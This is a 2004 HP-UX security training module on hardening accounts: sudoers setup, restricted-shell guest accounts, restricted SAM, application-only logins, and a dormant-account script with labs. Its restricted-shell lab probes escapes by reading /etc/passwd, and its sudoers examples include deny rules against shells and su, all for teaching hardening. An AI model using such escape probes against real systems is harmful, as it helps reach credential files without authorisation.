 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

6–6. SLIDE: Multiple root Accounts (Solution #2)

Multiple root Accounts (Solution #2)

I’ve got two co-administrators for my system.

How can I keep track of who did what when?

Configure a separate UID 0 account for each admin.

# vipw
root:xxx:0:3::/home/root:/sbin/sh
root1:xxx:0:3::/home/root1:/sbin/sh
root2:xxx:0:3::/home/root2:/sbin/sh
Use last to see which admins logged in when.
# last
root1 tty0p0 Mon Jan 1 08:00 - 17:00
root2 tty0p0 Tue Jan 2 13:15 - 14:00
Monitor each admin’s history file to see what they did.
# more ~root1/.sh_history
# more ~root2/.sh_history

Student Notes
This slide shows a second approach to the co-administrator problem. Rather than forcing
both administrators to login via the root account, you might consider creating a separate
UID 0 account for each administrator. Using this approach offers several advantages:
• Output from last and lastb accurately reflect which user logged in as UID 0 and when.

• Each co-administrator can have a distinct .sh_history so you can easily determine
who did what.

• Each co-administrator can have a distinct password.

This approach is an ideal solution for shops that wish to grant contractors temporary root
access. Create a UID 0 for the contractor, using the contractor's own name and password.
Monitor the contractor's .sh_history file to see what they are doing, and delete their
account from /etc/passwd when they leave.

http://education.hp.com 6-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

There are several other important "gotcha's" you should be aware of if you create multiple
UID 0 accounts:
• SAM logs actions by UID, not by username. Thus, SAM attributes all UID 0 actions to
root.

• When changing their personal passwords, root1 and root2 must specify their own
usernames as arguments to the passwd command. Otherwise, passwd changes the
password for the first UID 0 account listed in /etc/passwd.

• Once a user is given UID 0 access -- regardless of their username! -- they could plant any
number of "backdoors" on your system to guarantee root access even after you remove
their UID 0 entry from /etc/passwd. These backdoors will be discussed in a later
chapter. Don't grant UID 0 access unless it is absolutely necessary!
If you create separate UID 0 accounts for each administrator, each administrator should also
have a personal non-UID-0 account. In order to prevent costly mistakes, UID 0 accounts
should only be used for activities that require root privileges. Administrators should use their
non-UID-0 accounts to send email, write shell scripts, test contributed software, etc.

H3541S D.02 6-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

6–7. SLIDE: Operator Accounts (Solution #1)

Operator Accounts (Solution #1)

Use the restricted SAM builder to grant operators limited SAM access.

Student Notes
Operator accounts pose an even greater dilemma for security-conscious administrators.
Operators require root access to kill processes, manage the spooler, and run backups, but
oftentimes have limited knowledge of the operating system beyond these areas of
responsibility.

If your operators perform most of their responsibilities via SAM, consider using the restricted
SAM builder to grant them access to the SAM functional areas that they do need to access,
while denying them access to SAM functional areas that they don't need to access.

To configure restricted SAM access, login as root, and type:

# sam –r

SAM should present a dialog box asking whose SAM access you wish to modify. You may
grant access to an entire group of users (e.g.: “opshift1”) or to individual users (e.g.: “user1).
After selecting the user or group, click [OK].

http://education.hp.com 6-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

The next dialog box lists all of the SAM functional areas, and indicates which of these areas
have been enabled for the user or group in question. The sample system shown on the slide
apparently allows user1 to access the “Backup and Recovery”, and “Printers and Plotters”
functional areas. User1 has also been granted partial access to “Disks and File Systems” and
“Peripheral Devices”. To see which portions of the partially enabled functional areas are
enabled, select the functional area in question, and choose

File Æ Open.

SAM provides a number of options in the Actions menu for enabling and disabling functional
areas:

Actions Æ Enable All

Æ Disable All
Æ Enable
Æ Disable

After you’ve enabled and/or disabled the necessary functional areas, save your changes by
selecting:

Actions Æ Save Privileges

One final step: you may wish to add /usr/sbin to each operator’s PATH variable so they
can run SAM by simply typing sam.

When restricted SAM users run the SAM executable, they will only see the icons for the
functional areas that you have enabled. Disabled functional areas are neither visible nor
accessible to the restricted users.

WARNING! Restricted SAM access can only be enabled or disabled at the

functional area level. There is no mechanism to allow access to one
Action in a functional area while disabling access to another. For
example, granting access to the “Users” functional area allows
restricted SAM users to both add and remove user accounts.

H3541S D.02 6-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

6–8. SLIDE: Operator Accounts (Solution #2)

Operator Accounts (Solution #2)

Use visudo to grant operators root access to selected commands.

# visudo
operator ALL=/usr/sbin/lpshut,/usr/sbin/lpsched

Monitor successful and failed sudo attempts in syslog.

# more /var/adm/syslog/syslog.log

UID=101 temporary UID=0 UID=101

login: operator $ sudo lpshut etc...

Student Notes
The restricted SAM builder provides an ideal solution for operators that are able to perform
their administrative tasks via SAM. If, however, an operator runs scripts and utilities from
the command-line that require root access, the sudo utility provides an alternative solution.
The sudo utility makes it possible to selectively grant root access to selected commands to
selected users.

Installing sudo
sudo is one of many well-known open source security tools that HP now makes available to
HP-UX customers. Many of these tools are included on the Internet Express CDROM, which
can be ordered for free from http://software.hp.com. If you don’t wish to order the
entire CD, you can download the sudo product directly from the website and install it via
swinstall.

# swinstall –s /tmp/ixSudo*.depot Sudo

Be sure to log out and log back in again after doing the swinstall to ensure that your
PATH variable gets updated.

http://education.hp.com 6-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

Configuring sudo
After downloading and installing sudo, the administrator must define which users can
execute which commands via the /opt/iexpress/sudo/etc/sudoers configuration file.
A simple version of the file might look like this:

%opgroup server1=/usr/bin/kill
operator ALL=/usr/sbin/lpshut,/usr/sbin/lpsched
dba ALL=/sbin/shutdown,/sbin/reboot

This file would allow:

• anyone in the opgroup group (as defined in /etc/group) to kill processes on server1.

• operator to stop or start the lp scheduler on any host with sudo installed.

• dba to shutdown or reboot on any host with sudo installed.

The sudoers file must be created and modified via the visudo command, which
temporarily locks the file and does automatic syntax checking.

Running Commands Via sudo

Once the sudoers file has been configured, the operators may login with their personal
username and password and execute administrative commands as follows:

Login: operator
Password: ********

$ sudo /usr/sbin/lpshut
$ sudo /usr/sbin/lpsched

Monitoring sudo Use

Every sudo attempt writes a record out to the syslog.log file. After configuring sudo,
you should check this file on a regular basis for unauthorized sudo use.

# tail /var/adm/syslog/syslog.log

NOTE: Never allow sudo access to commands that allow shell escapes!

H3541S D.02 6-16 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

6–9. TEXT PAGE: Configuring the sudoers Configuration File

The previous slide offered a few sample sudoer configuration file entries. However, many
more complex configurations are also possible. The following excerpt from the sudoers
man page provides some additional examples of this important file (For the full man page,
compile sudo, then view the sudoers(5) man page):

The sudoers file is composed of an optional host alias section, an optional command alias
section and the user specification section. All command or host aliases need to start with
their respective keywords (ie: Host_Alias, User_Alias, Runas_Alias or
Cmnd_Alias). If there are multiple occurrences of a user, the union of the entries will be
used.

Text after a pound sign (#) is considered a comment.

Words that begin with a percent sign (%) are assumed to be UNIX groups (%staff refers to
users in the group staff).

Words that begin with a plus sign (+) are assumed to be netgroups (+cshosts refers to the
netgroup cshosts).

Long lines can be newline escaped with the backslash (\) character.

The reserved word NOPASSWD indicates that a user need not enter a password for the
command listed in that entry.

The reserved alias ALL can be used for any of {Host,User,Cmnd}. Do not define an alias of
ALL. It will not be used. Note that ALL implies the entire universe of hosts/users/commands.
You can subtract elements from the universe by using the syntax:

user1 host=ALL,!ALIAS1,!/etc/halt

Note that the "!" notation only works in a user's command list. You may not use it to subtract
elements in a User_Alias, Host_Alias, Cmnd_Alias or user list.

Commands may have optional command line arguments. If they do, then the arguments in
the sudoers file must exactly match those on the command line. It is also possible to have a
command's arguments span multiple lines as long as the line continuance character "\" is
used. The following characters must be escaped with a "\" if used in command arguments:
",", ":", "=", "\".

A Sample sudoers Configuration File

# Host alias specification
Host_Alias HUB=houdini:\
REMOTE=merlin,kodiakthorn,spirit
Host_Alias SERVERS=houdini,merlin,kodiakthorn,spirit
Host_Alias CUNETS=128.138.0.0/255.255.0.0
Host_Alias CSNETS=128.138.243.0,128.138.204.0,\
128.138.205.192

http://education.hp.com 6-17 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

# User alias specification

User_Alias FULLTIME=millert,dowdy,mikef
User_Alias PARTTIME=juola,mccreary,tor

# Runas alias specification

Runas_Alias OP=root,operator

# Command alias specification

Cmnd_Alias LPCS=/usr/etc/lpc,/usr/ucb/lprm
Cmnd_Alias SHELLS=/bin/sh,/bin/csh,/bin/tcsh,/bin/ksh
Cmnd_Alias SU=/bin/su
Cmnd_Alias MISC=/bin/rm,/bin/cat:\
SHUTDOWN=/etc/halt,/etc/shutdown

# User specification
FULLTIME ALL=(ALL) NOPASSWD: ALL
%wheel ALL=ALL
PARTTIME ALL=ALL,!SHELLS,!SU
+interns +openlabs=ALL,!SHELLS,!SU
britt REMOTE=SHUTDOWN:ALL=LPCS
jimbo CUNETS=/bin/su ?*,!/bin/su *root*
nieusma SERVERS=SHUTDOWN,/etc/reboot:\
HUB=ALL,!SHELLS
jill houdini=/etc/shutdown -[hr] now,MISC
markm HUB=ALL,!MISC,!/etc/shutdown,!/etc/halt
davehieb merlin=(OP) ALL:SERVERS=/etc/halt:\
kodiakthorn=NOPASSWD: ALL
steve CSNETS=(operator) /usr/op_commands/

Explanations of the Host_Alias Examples

The are four host aliases. The first actually contains two aliases. It sets HUB to be houdini
and REMOTE to the three machines merlin, kodiakthorn and spirit. Similarly, SERVERS is set
to the machines houdini, merlin, kodiakthorn and spirit. The CSNETS alias will match any
host on the 128.138.243.0, 128.138.204.0, or 128.138.205.192 nets. The CUNETS alias will
match any host on the 128.138.0.0 (class B) network. Note that these are network addresses,
not IP addresses.

Unless an explicit netmask is given, the local subnet mask is used to determine whether or
not the current host belongs to a network.

Explanations of the User_Alias Examples

The two user aliases simply group the FULLTIME and PARTTIME folks into two separate
aliases.

Explanations of the Command_Alias Examples

Command aliases are lists of commands with or without associated command line
arguments. The entries above should be self-explanatory.

H3541S D.02 6-18 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

Explanation of the User Examples

FULLTIME Full-time sysadmins in the FULLTIME alias may run any command
on any host as any user without a password.

%wheel Any user in the UNIX group wheel may run any command on any
host.

PARTTIME Part-time sysadmins in the PARTTIME alias may run any command
except those in the SHELLS and SU aliases on any host.

+interns Any user in the netgroup interns may run any command except
those in the SHELLS and SU aliases on any host that is in the
openlabs netgroup.

britt The user britt may run commands in the SHUTDOWN alias on the
REMOTE machines and commands in the LPCS alias on any
machine.

jimbo The user jimbo may su to any user save root on the machines on
CUNETS (which is explicitly listed as a class B network).

nieusma The user nieusma may run commands in the SHUTDOWN alias as
well as /etc/reboot on the SERVER machines and any command
except those in the SHELLS alias on the HUB machines.

jill The user jill may run /etc/shutdown -h now or

/etc/shutdown -r now as well as the commands in the MISC
alias on houdini.

markm The user markm may run any command on the HUB machines
except /etc/shutdown, /etc/halt, and commands listed in the
MISC alias.

davehieb The user davehieb may run any command on merlin as any user in
the Runas_Alias OP (ie: root or operator). He may also run
/etc/halt on the SERVERS and any command on kodiakthorn
(no password required on kodiakthorn).

steve The user steve may run any command in the /usr/opcommands
directory as user operator on the machines on CSNETS.

http://education.hp.com 6-19 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

6–10. SLIDE: Guest Accounts

Guest Accounts

Guest accounts are rarely monitored and often have

trivial passwords -- easy prey for hackers like me!

For real security, don’t allow “open” or “guest” accounts.

If you must have a guest account, change the guest password frequently.
If you must have a guest account, use a restricted shell to limit system access.

/etc/passwd: guest:xxx:101:20::/home/guest:/usr/bin/rsh
~guest/.profile: PATH=/home/guest/bin

/home/guest rsh users can’t leave their home directory

bin rsh users can only use executables in this directory

.profile

Student Notes
Some administrators choose to provide open accounts that may be used by visitors to check
email, browse the web, or telnet back to their home systems.
• For real security, don’t allow “open” or “guest” accounts.

Although guest accounts are convenient, they also introduce serious security issues.

− Guest passwords are often widely known and/or easily guessed.

− There is no record of who did what while using the guest account.
− Hackers often use guest accounts to explore and initiate further attacks.
• If you must have a guest account, change the password frequently.

The dangers introduced by guest accounts may be minimized somewhat by changing the
guest account password frequently. Thus, even if a hacker were to guess the guest
password, s/he would only have access to your system until the next password change.
Its tempting to use trivial passwords such as “guest” or “password” for guest accounts.
Don’t! Guest account passwords should be subject to the same password restrictions as
other user accounts on the system.

H3541S D.02 6-20 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

• If you must have a guest account, use a restricted shell to limit system access.

Using a restricted shell as the startup program for guest accounts severely restricts the
files and commands accessible to guest account users.

− The user can’t change directories

− The user can’t change the value of the PATH variable
− The user can’t use command names containing slashes
− The user can’t redirect output with > or >>
• In effect, users in restricted shells may only execute programs in directories defined in
the .profile PATH variable. Oftentimes the PATH variable simply points to a
subdirectory in the guest account home directory that contains a few selected
executables. The sample commands below create a guest account that may be used to
view print queues and enable and disable printers. First, create the guest account and
home directory:
# useradd -s /usr/bin/rsh guest
# passwd guest
# mkdir -p /home/guest/bin
# chmod –R 555 /home/guest
# chown –R root:sys /home/guest
• Now create a .profile for the user that simply sets a value for the PATH variable:
# echo "export PATH=/home/guest/bin" >/home/guest/.profile
# chmod 444 /home/guest/.profile
# chown root:sys /home/guest/.profile
• Next, copy the enable, disable, and lpstat executables to the guest’s bin directory:
# cd /usr/bin
# cp lpstat disable enable /home/guest/bin
• Finally, note that FTP doesn’t distinguish between normal and restricted shells. Be sure
to disable FTP access to the guest account via the ftpusers file:
# vi /etc/ftpd/ftpusers
guest
• Now when user “guest” logs in, s/he will only have access to the lpstat, disable, and
enable commands.

NOTE: Make sure the commands in the guest ~guest/bin directory don’t
allow shell escapes!! Also note that restricted shell users may not log
in via CDE, as CDE requires access to numerous executables under
/usr/dt/bin that the restricted shell denies access to.

http://education.hp.com 6-21 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

6–11. SLIDE: Application User Accounts

Application User Accounts

No shell access! User launches

directly into the application!

Login: user1 Welcome to DBASE!

Password: xxxxx

If users only use UNIX to launch an application, don't allow shell access!

Student Notes
Some users use their UNIX hosts to access a single application. Since these users likely have
little UNIX knowledge, you may choose to prevent them from ever accessing a shell prompt.
Instead, why not simply launch them directly into their application?

Launching an Application Directly After telnet/ASCII Login

Whenever a user logs into an HP-UX system from an ASCII terminal or telnet session, the
system automatically searches for a .profile script in the user's home directory. At the
end of the script, you may add an exec command to automatically launch an application for
the user in place of a standard interactive shell. For even better security, remove user write
permission from both the directory and the .profile script itself.

# chmod -R 555 ~user1

# vi ~user1/.profile
exec /opt/app/bin/tuiapp

H3541S D.02 6-22 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

The .profile script isn't executed by default when a user logs in via CDE. To prevent the
user from circumventing your modified .profile, add an exit statement to the end of
their .dtprofile script (if this file doesn't exist, create the file with this single line):

# vi ~user1/.dtprofile
exit 99
# chmod 555 ~user1/.dtprofile

Launching an Application Directly After CDE Login

If the user needs to run a GUI application, the configuration is reversed. Add the exec line to
the end of their ~/.dtprofile script, and the exit statement to the end of their
~/.profile.

# vi ~user1/.dtprofile
exec /opt/app/bin/guiapp
# vi ~user1/.profile
exit 99
# chmod -R 555 ~user1

Launching an Application Directly After Either CDE or ASCII/telnet Login

If the user's application supports both a CDE and an ASCII login, modify the two login files as
follows:

# vi ~user1/.dtprofile
exec /opt/app/bin/guiapp
# vi ~user1/.profile
exec /opt/app/bin/tuiapp
# chmod -R 555 ~user1

FTP Considerations
In all of these cases, you should disable FTP access for the user by adding their username to
the /etc/ftpd/ftpusers file.

# vi /etc/ftpd/ftpusers
user1

A Word of Warning
This configuration is worthless if the launched application allows the user to view arbitrary
files, or run arbitrary commands on the system. Make sure the application doesn't allow shell
escapes. Even a web browser can be dangerous; a user could point their browser to
file:/etc/passwd to view the password file without ever accessing a shell prompt!

http://education.hp.com 6-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

6–12. SLIDE: Group Accounts

Group Accounts

I’ve got a dozen users working on a project together.

How can I ensure that they (and only they!) have
access to the project-related files?

Verify that each member has an entry in /etc/passwd.

user1:xxx:101:201::/home/user1:/usr/bin/sh
Create an entry for the group in /etc/group.
project::201:user1,user2,user3
Create a shared directory for the group.
drwxrwx--- root project /home/project
Set group members’ umasks appropriately in ~/.profile.
umask u=rwx,g=rwx,o=

Student Notes
Collaborative projects are common in today’s workplace, and oftentimes these projects
require multiple users to share a collection of files and directories. The challenge for the
Administrator is to ensure that members of the project team have access to the group’s files,
while simultaneously denying access to all other users.

It may be tempting to simply create a user account for the group, and share the account
password with all the project members. This approach, while easy to implement, makes it
impossible to monitor exactly which users did what on your system. Accounts should never
be shared by multiple users.

H3541S D.02 6-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

A better approach is to create a separate account for each user, then make all the project
participants members of the shared group.
• Verify that each member has an entry in /etc/passwd.

First, verify that each project participant has an entry in the /etc/passwd file. Use the
useradd command to create accounts for participants that aren’t already listed in the
/etc/passwd file.

# useradd –m user1
# useradd –m user2
# useradd –m user3

• Create an entry for the group in /etc/group.

Next, use the groupadd command to create an entry for the project in the /etc/group
file. Use the usermod command to add each participant to the project group.

# groupadd project
# usermod –G project user1
# usermod –G project user2
# usermod –G project user3

• Create a directory for the group.

Create a directory that the participants can use for shared files. Make root the owner of
the directory so no-one else can change the directory’s permissions. Associate the
project directory with the group defined in the /etc/group file to ensure that all
members of the project team have “group” rights when accessing the directory. Set the
permissions on the project directory to "rwxrwx---". The "rwx" permissions for owner
grants root full privileges in the project directory. The "rwx" permissions for group
ensure that the project participants also have full access to files in the directory. Finally,
the "---" permissions for other prevent outsiders from accessing the project-related
files.

# mkdir /home/project
# chown root:project /home/project
# chmod 770 /home/project

When the project team members create files in the /home/project directory, they need
to remember to chgrp their files to the project group. Otherwise, members of the group
may not be able to access the files they need. The special "SGID" permission eliminates
the need for the chgrp command to be executed in the /project directory. The SGID
bit will be covered in the file system security chapter later in the course. The "sticky bit"
permission may be used on group directories as well. This, too, will be discussed in the
file permissions chapter.

http://education.hp.com 6-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

• Set group members’ umasks appropriately in ~/.profile.

Finally, set group members’ umasks to "rwxrwx---" or "rwxr-x---" to ensure that the
files they create are accessible to all other members of the group. Remember that a
user’s umask may be permanently defined in ~/.profile.

# echo “umask u=rwx,g=rwx,o=” >> ~user1/.profile

# echo “umask u=rwx,g=rwx,o=” >> ~user2/.profile
# echo “umask u=rwx,g=rwx,o=” >> ~user3/.profile

H3541S D.02 6-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

6–13. SLIDE: Dormant Accounts

Dormant Accounts

Hmmm ... Hubert left the company last year, but his
account is still enabled! No one will notice if I use
his account to hack around the system a bit ...

Always disable or delete unused accounts.

# passwd -l hubert
# userdel hubert

Schedule at-jobs to automatically disable temporary accounts.

# at now +14 days
passwd -l tempacct

Periodically scan the wtmp and sulog files to identify unused accounts.

Student Notes
Accounts that haven’t been used for an extended period of time are prime targets for
prospective hackers. If the hacker is able to gain access to a dormant account, he or she may
be able to explore the system unnoticed until the dormant account’s owner returns. For this
reason, be sure to disable or delete unused or dormant accounts.

• Always disable or delete unused accounts.

Disabling (locking) an account with passwd –l username prevents login access to an

account indefinitely. When the account’s owner returns, simply reset their password to
re-enable the account.

Deleting an account with userdel username may be appropriate if the user has
permanently left your organization. This approach removes the user’s account from the
/etc/passwd file.

You can use the find command to generate a report of files owned by the departed user.

# find / -user username –exec ll –d +

http://education.hp.com 6-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

Determine if the user’s files are still needed on the system. If not, create a tape backup,
then delete them.

# find / -user username –exec rm -i +

• Schedule at-jobs to automatically disable temporary accounts.

Temporary contractors or visitors may require temporary accounts on your system. To

ensure that these accounts are removed when no longer needed, schedule an at-job as
shown on the slide. You may also wish to include a comment in the fifth field of
/etc/passwd indicating who created the temporary account and when it may be
removed.

• Periodically scan the wtmp and sulog files to identify unused accounts.

The shell script listed below automatically compares the sulog and wtmp entries against
the /etc/passwd file to search for unused accounts. Once per month you should run
this or a similar script to identify possibly dormant accounts.

#!/usr/bin/sh

########################################################
#
# prints a list of dormant user accounts.
# the program defines an account as dormant if it
# hasn't been accessed within the current month via
# at least one of the following:
# telnet, login, dtlogin, ftp, su, or rlogin
#
########################################################

###
### setup the environment
###

export PATH=/usr/bin
umask 077

###
### extract the usernames of users that have logged
### in this month from the "last" command's output.
### store the result in /tmp/recentlogins
###

last \
| awk -v THISMONTH=$(date +%b) \
'$4 == THISMONTH {print $1}' \
> /tmp/recentlogins

###
### now extract the usernames of accounts successfully
### accessed via su over the last month.
### add them to /tmp/recentlogins, too.

H3541S D.02 6-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

###

[[ -e /var/adm/sulog ]] \
&& cat /var/adm/sulog \
| awk -v THISMONTH=$(date +%m) \
'$4 == "+" {sub("/.*$","",$2) #extract month
sub("^.*-","",$6) #extract username
month=$2
name=$6
if (month == THISMONTH) print name}' \
>> /tmp/recentlogins

###
### sort the /tmp/recentlogins file
###

sort -u -o /tmp/recentlogins /tmp/recentlogins

###
### now extract a list of usernames of activated accounts
### from the /etc/passwd file. sort and store the results in
### a file called /tmp/allaccounts
###

cat /etc/passwd \
| awk -F: '$2 != "*" {print $1}' \
| sort \
> /tmp/allaccounts

###
### compare the two files, and display a list of usernames
### that are in /tmp/allaccounts but not in
### /tmp/recentlogins.
###

print "accounts that haven't been accessed in $(date +%B):"

print "================================================="
comm -13 /tmp/recentlogins /tmp/allaccounts

###
### now remove the two temporary files
###

rm /tmp/recentlogins /tmp/allaccounts

http://education.hp.com 6-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

6–14. LAB: Protecting User Accounts

Part I: Restricting Access to the Root Account with

/etc/securetty
If your shop has several co-administrators for each machine, you may wish to configure
/etc/securetty so you can record who is using the root account when. This
configuration also limits the avenues that a hacker may use to hack the root account!

1. Configure the /etc/securetty file to ensure that root may only login directly on the
system console. Be sure to set the file permissions appropriately.

Answer:

2. Create a group called wheel in /etc/group, and modify the

/etc/default/security file to ensure that only members of this group can su to
root.

Answer:

3. Add user1 to the wheel group.

Answer:

4. Configure /etc/dt/config/Xstartup to prevent direct root logins via CDE.

Answer:

5. Test your configuration! What message do you get in each case?

Can you login as root with the login command?
Can you login as root via telnet?
Can you login as root via CDE?
(If not, login as user1 and su to root to continue the lab exercise)

Answer:

H3541S D.02 6-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

6. Try accessing the root account via FTP. What happens? How can you prevent direct root
logins via FTP?

Answer:

7. The administrator can still login via su. Why might you prefer to have root login via su
rather than via login or telnet?

Answer:

Part II: Creating a Guest Account with a Restricted Shell

Although guest accounts are generally a bad idea, they may be a necessity in some
environments. This portion of the lab exercise walks you through the procedure for creating
an account with a restricted shell. The goal is to create an account anyone can access to
check the system’s load averages, see who is logged on the system, and check the status of
the print queues.

1. Create an account for user guest, using startup program /usr/bin/rsh. Don’t create
a home directory for the user initially.

# useradd -s /usr/bin/rsh guest

# passwd guest

2. Create a home directory for the new account, as well as a subdirectory in the home
directory called bin. Set the permissions on both directories to 555. Why don’t we
allow write permission on the guest home directory?

# mkdir -p /home/guest/bin
# chmod –R 555 /home/guest

Answer:

3. Create a .profile for the guest account that simply sets a value for the PATH variable.
Set the permissions on the file to 444.

# echo "export PATH=/home/guest/bin" >/home/guest/.profile

# chmod 444 /home/guest/.profile

http://education.hp.com 6-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

4. Next, copy the who, uptime, and lpstat executables to the guest’s bin directory:

# cd /usr/bin
# cp who uptime lpstat /home/guest/bin

5. See if your configuration worked! rlogin to your localhost as user guest and try a few
commands. Which of the following succeed?

# rlogin localhost –l guest

$ who
$ uptime
$ lpstat
$ cd /etc
$ cat /etc/passwd
$ /usr/bin/cat /etc/passwd
$ exit

Answer:

6. One final step is required to truly secure the guest account. At this point there is one
utility a guest user might use to access the /etc/passwd file (or any number of other
files on the system!) What still remains to be done to truly secure the guest account?
Hint: Look back to the guest account notes earlier in the chapter if you need help!

Answer:

Part III: (Optional) Using the Restricted SAM Builder

By default, SAM may only be run by user "root". Administrators in large shops often have the
luxury of a staff of operators to assist with system administration tasks. So how can we
allow multiple operators, and perhaps even regular users, to access some of the functionality
in SAM? Sharing the root password probably isn't the best solution. The "restricted SAM
builder" makes it possible to grant non-root users access to selected functional areas in SAM.

Our goal in the exercise that follows is to create an account for user “operator” and allow the
"operator" user to manage print queues and automated backups via SAM.

1. Create an account for user “operator”.

# useradd –m operator
# passwd operator

H3541S D.02 6-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

2. Run the restricted SAM builder. When asked whose privileges you wish to modify, select
your new operator account.

# sam –r

3. Next, you will see a window listing each of the SAM functional areas. Note that some
functional areas are enabled (indicated by a green icon), some are disabled (indicated by
a red icon), and some are partially enabled (indicated by a yellow icon). In the TUI
interface, the status of a functional area is displayed in text form (enabled, disabled,
partially enabled). Start by choosing "Actions Æ Disable all". What happens to the
functional area icons?

Answer:

4. Next, select the "Printers and Plotters" icon with a single-click (GUI) or the space bar
(TUI). Choose "Actions Æ Enable". What happens to the "Printers and Plotters" icon?

Answer:

5. Next, we need to enable automated backups. Go to the "Backup and Recovery"

functional area, and select the "Automated Backup" icon. Again go to the "Actions" menu
and choose: "Actions Æ Enable". Go back up to the main functional area window. What
happened to the "Backup and Recovery" icon? Explain!

Answer:

6. You can enable/disable as many functional areas as you wish in the restricted SAM
builder. Once you have enabled all the desired icons, choose "Actions Æ Save privileges".

7. The "Save Privileges" screen defines which user(s) will have access to the functional
areas you have selected. Select the "operator" user from the list, and click "OK". (If you
had multiple operators, you could select multiple usernames from the list while holding
the shift key) SAM saves the privileges you selected, then returns you to the icon
window. Exit out of the restricted SAM builder, then log off your workstation or server.

8. Log in as "operator" and try running SAM by typing /usr/sbin/sam. Which functional
areas are available for use by your "operator" user?

# rlogin localhost –l operator

# /usr/sbin/sam

http://education.hp.com 6-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

9. Exit out of SAM, then try running SAM again by just typing sam. You will probably get a
"sh: sam: not found" error. Try typing /usr/sbin/sam. Can you explain why
SAM wouldn't start in the first case, but would start in the second?

Answer:

10. Exit out of SAM, then exit out of your “operator” rlogin session, too.

Part IV: Creating an Application User Account

Sometimes, for both security and convenience, an administrator may choose to configure a
user's account to automatically launch an application upon login. In this portion of the lab,
we will configure a user called "perfmon". User perfmon is an operator responsible for
monitoring system performance levels via the glance and gpm performance monitoring
tools.
1. Create a user account with a home directory for user "perfmon".

Answer:

2. Configure perfmon's .profile script such that the /opt/perf/bin/glance tool

starts automatically at login.

Answer:

3. Also configure perfmon's .dtprofile script such that the /opt/perf/bin/gpm tool
starts automatically at login.

Answer:

4. Set permissions on the user's directory and everything in it to 555.

Answer:

H3541S D.02 6-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 6
How the Hacker Gains Privileges (Part 2)

5. Test your configuration! What happens when user perfmon logs in via CDE? What
happens when user perfmon logs in via a telnet session?

Answer:

6. Is there any way the user can access other files and directories on the system (eg:
/etc/passwd)? Explain!

Answer:

Part V: Install sudo

sudo is another tool often used by administrators to grant non-root users root access when
running selected commands. The last portion of this lab exercise set walks you through the
steps required to configure sudo to allow your operators to start and stop the lp scheduler
from the command line.
1. Verify that your system has the Sudo product installed. If not, you can download and
swinstall the program from http://software.hp.com.

# swlist Sudo

2. Verify that swinstall added /opt/iexpress/sudo/bin and

/opt/iexpress/sudo/sbin to your /etc/PATH file. Verify that
/opt/iexpress/sudo/man was added to your /etc/MANPATH file. If you just
swinstalled Sudo, log out, then log back in again to ensure these directories are included
in your PATH.

# vi /etc/PATH
# vi /etc/MANPATH

3. If you wish, view the Sudo man pages before proceeding.

# man 1m visudo
# man 1m sudo
# man 4 sudoers

Part VI: Configure and Run sudo

1. If you skipped the optional restricted SAM builder portion of the lab, create an operator
account now.

# useradd –m operator
# passwd operator

http://education.hp.com 6-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 6
How the Hacker Gains Privileges (Part 2)

2. Create the sudoers configuration file using the special visudo command. Allow user
“operator” to start and stop the lp scheduler.

# visudo
operator ALL=/usr/sbin/lpshut,/usr/sbin/lpsched

3. rlogin to the localhost as user "operator." Test the sudo capabilities of operator.

# rlogin localhost –l operator

$ sudo /usr/sbin/lpshut

4. The first time a user uses sudo, they are asked to enter their password.
Why do you suppose sudo requires this?

Answer:

5. Verify that the scheduler was shutdown, then start it back up again.

$ lpstat –t
$ sudo /usr/sbin/lpsched
$ lpstat –t

6. What happens a user attempts to execute an unauthorized command via sudo?

$ sudo /usr/sbin/lpadmin

7. Log out of your operator rlogin session.

$ exit

8. Look at /var/adm/syslog/syslog.log. Does syslog log successful sudo attempts?

Does it log unsuccessful sudo attempts?

# tail /var/adm/syslog/syslog.log

Part VII: (Optional) Configuring sudo aliases

